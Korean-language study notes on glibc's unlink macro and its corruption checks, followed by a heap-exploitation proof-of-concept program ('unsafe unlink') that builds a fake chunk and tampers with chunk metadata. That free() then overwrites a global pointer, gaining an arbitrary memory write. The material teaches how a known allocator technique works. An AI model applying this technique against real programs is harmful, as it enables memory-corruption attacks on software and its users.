-> 검증 매크로
-> bin의 double linked list에서 중간에 있는 chunk가 나가게 되면 그 앞과 뒤를 다시 연결해주는 작업을 할 때 사용한다.
-> chunk의 사이즈가 증가하여 다른 bin 리스트로 이동할 때 사용한다.

출처 : https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
하단의 코드는 https://github.com/lattera/glibc/blob/master/malloc/malloc.c
에서 unlink의 매크로의 내용이다.
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
chunksize(P) 와 prev_size(next_chunk(P)) 값이 같지 않으면 참이 아니다.
<=> chunksize(P) == prev_size(next_chunk(P)) 이면 참이다.
※ __builtin_expect(exp, c)
컴파일러에게 exp == c인 경우가 더 흔함을 알려준다.
=> boundary tag가 제대로 들어가있는지 체크한다.
※ boundary tag
- glibc malloc에서의 각 chunk(힙 블록)에는 메타데이터가 붙는다.
-> 현재 chunk의 size : chunk -> size
-> 다음 chunk의 prev_size : next_chunk -> prev_size
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
FD->bk와 P가 같지 않거나 BK->fd와 P가 같지 않으면 참이 아니다.
<=> FD->bk와 BK->fd 모두 P와 동일하면 참이 된다.
- FD->bk는 다음 chunk의 이전 chunk로 자기자신(P)이다. (p->bk->fd)
- BK->fd는 이전 chunk의 다음 chunk로 자기자신(P)이다. (p->bk->fd)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); \\24바이트
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

참고 :
https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink
https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
https://velog.io/@msh1307/Unsafe-Unlink-%EB%B6%84%EC%84%9D